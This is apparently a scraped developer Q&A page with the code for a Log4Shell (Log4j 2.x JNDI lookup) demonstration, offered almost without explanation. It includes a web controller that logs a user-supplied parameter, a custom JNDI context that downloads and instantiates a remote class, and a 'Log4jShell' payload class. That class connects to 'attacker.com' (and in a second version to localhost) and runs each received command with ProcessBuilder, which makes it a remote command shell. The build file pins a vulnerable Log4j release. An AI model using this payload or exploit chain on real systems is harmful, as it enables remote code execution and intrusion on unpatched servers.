StackAsk is a community where developers ask questions, share answers and learn from each others real-world experience, so every solved problem helps the next person who runs into it.
Appender
logger.info("Hello: {}", param)
StrSubstitutor.resolveVariable
public class Log4jShell { static { try { Socket socket = new Socket("attacker.com", 1234); Scanner scanner = new Scanner(socket.getInputStream()); while(true) { String command = scanner.nextLine(); ProcessBuilder pb = new ProcessBuilder(command); pb.start(); } } catch (Exception e) {} } }
https://web_site_cua_chung_ta/hello?name=
2.0 <= log4j-core <= 2.14.1
package com.example.log4jshell; import javax.naming.Context; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; import com.tvd12.ezyhttp.core.boot.EzyHttpApplicationBootstrap; public final class Log4jShellStartup { private static final Logger LOGGER = LogManager.getLogger(Log4jShellStartup.class); public static void main(String[] args) throws Exception { LOGGER.info("start Log4jShell"); System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.example.log4jshell.AppContextFactory"); System.setProperty(Context.PROVIDER_URL, "remote+http://localhost:8080"); EzyHttpApplicationBootstrap.start(Log4jShellStartup.class); } }
package com.example.log4jshell; import java.util.Hashtable; import javax.naming.Context; import javax.naming.NamingException; import javax.naming.spi.InitialContextFactory; public class AppContextFactory implements InitialContextFactory { private final AppInitialContext context = new AppInitialContext(); public AppContextFactory() throws NamingException {} @Override public Context getInitialContext(Hashtable environment) throws NamingException { return context; } }
package com.example.log4jshell; import java.io.File; import java.util.Hashtable; import javax.naming.NamingException; import javax.naming.ldap.InitialLdapContext; import com.tvd12.ezyhttp.client.HttpClient; public class AppInitialContext extends InitialLdapContext { private final HttpClient httpClient; public AppInitialContext() throws NamingException { httpClient = HttpClient.builder().build(); } @Override protected void init(Hashtable environment) throws NamingException { } @Override public Object lookup(String name) throws NamingException { try { httpClient.download(name, new File("target/classes")); Thread.sleep(300); Class clazz = Class.forName("Log4jShell"); return clazz.newInstance(); } catch (Exception e) { e.printStackTrace(); } return null; } }
package com.example.log4jshell.controller; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; import com.tvd12.ezyhttp.server.core.annotation.Controller; import com.tvd12.ezyhttp.server.core.annotation.DoGet; import com.tvd12.ezyhttp.server.core.annotation.RequestParam; @Controller public class HomeController { private final Logger logger = LogManager.getLogger(getClass()); @DoGet("/hello") public String hello(@RequestParam String name) { logger.info("Hello: {}", name); return "Hello " + name; } }
import java.net.Socket; import java.util.Scanner; public class Log4jShell { static { try { System.out.println("Shell started"); Socket socket = new Socket("localhost", 3006); Scanner scanner = new Scanner(socket.getInputStream()); while(true) { String command = scanner.nextLine(); ProcessBuilder pb = new ProcessBuilder(command); pb.start(); } } catch (Exception e) { e.printStackTrace(); } } }
javac Log4jShell.java
Log4jShell.class
application.properties
resources.enable=true
log4j2.xml
<span><span><span><?</span>xml version=<span>"1.0"</span> encoding=<span>"UTF-8"</span><span>?></span></span> <span><<span>Configuration</span> <span>status</span>=<span>"INFO"</span>></span> <span><<span>Appenders</span>></span> <span><<span>Console</span> <span>name</span>=<span>"LogToConsole"</span> <span>target</span>=<span>"SYSTEM_OUT"</span>></span> <span><<span>PatternLayout</span> <span>pattern</span>=<span>"%d</span></span></span><span>{HH:mm:ss.SSS}</span><span><span><span> [%t] %-5level %logger</span></span></span><span>{36}</span><span><span><span> - %msg%n"</span>/></span> <span></<span>Console</span>></span> <span></<span>Appenders</span>></span> <span><<span>Loggers</span>></span> <span><<span>Logger</span> <span>name</span>=<span>"com.example"</span> <span>level</span>=<span>"debug"</span> <span>additivity</span>=<span>"false"</span>></span> <span><<span>AppenderRef</span> <span>ref</span>=<span>"LogToConsole"</span>/></span> <span></<span>Logger</span>></span> <span><<span>Root</span> <span>level</span>=<span>"info"</span>></span> <span><<span>AppenderRef</span> <span>ref</span>=<span>"LogToConsole"</span>/></span> <span></<span>Root</span>></span> <span></<span>Loggers</span>></span> <span></<span>Configuration</span>></span></span>
pom.xml
<span><span><span><?</span>xml version=<span>"1.0"</span> encoding=<span>"UTF-8"</span><span>?></span></span> <span><<span>project</span> <span>xmlns</span>=<span>"http://maven.apache.org/POM/4.0.0"</span> <span>xmlns:xsi</span>=<span>"http://www.w3.org/2001/XMLSchema-instance"</span> <span>xsi:schemaLocation</span>=<span>"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"</span>></span> <span><<span>parent</span>></span> <span><<span>groupId</span>></span>com.tvd12<span></<span>groupId</span>></span> <span><<span>artifactId</span>></span>ezyfox<span></<span>artifactId</span>></span> <span><<span>version</span>></span>1.0.2<span></<span>version</span>></span> <span></<span>parent</span>></span> <span><<span>modelVersion</span>></span>4.0.0<span></<span>modelVersion</span>></span> <span><<span>artifactId</span>></span>log4jshell<span></<span>artifactId</span>></span> <span><<span>properties</span>></span> <span><<span>log4j2.version</span>></span>2.11.2<span></<span>log4j2.version</span>></span> <span><<span>ezy.http.version</span>></span>0.2.0<span></<span>ezy.http.version</span>></span> <span></<span>properties</span>></span> <span><<span>dependencies</span>></span> <span><<span>dependency</span>></span> <span><<span>groupId</span>></span>com.tvd12<span></<span>groupId</span>></span> <span><<span>artifactId</span>></span>ezyhttp-server-boot<span></<span>artifactId</span>></span> <span><<span>version</span>></span>$</span><span>{ezy.http.version}</span><span><span></<span>version</span>></span> <span></<span>dependency</span>></span> <span><<span>dependency</span>></span> <span><<span>groupId</span>></span>com.tvd12<span></<span>groupId</span>></span> <span><<span>artifactId</span>></span>ezyhttp-client<span></<span>artifactId</span>></span> <span><<span>version</span>></span>$</span><span>{ezy.http.version}</span><span><span></<span>version</span>></span> <span></<span>dependency</span>></span> <span><<span>dependency</span>></span> <span><<span>groupId</span>></span>org.apache.logging.log4j<span></<span>groupId</span>></span> <span><<span>artifactId</span>></span>log4j-api<span></<span>artifactId</span>></span> <span><<span>version</span>></span>$</span><span>{log4j2.version}</span><span><span></<span>version</span>></span> <span></<span>dependency</span>></span> <span><<span>dependency</span>></span> <span><<span>groupId</span>></span>org.apache.logging.log4j<span></<span>groupId</span>></span> <span><<span>artifactId</span>></span>log4j-core<span></<span>artifactId</span>></span> <span><<span>version</span>></span>$</span><span>{log4j2.version}</span><span><span></<span>version</span>></span> <span></<span>dependency</span>></span> <span></<span>dependencies</span>></span> <span></<span>project</span>></span></span>
2.2K Point(s)
1.2K Point(s)
313 Point(s)
178 Point(s)
138 Point(s)
Input your email to receive reset password link, or if you remember your password, you can click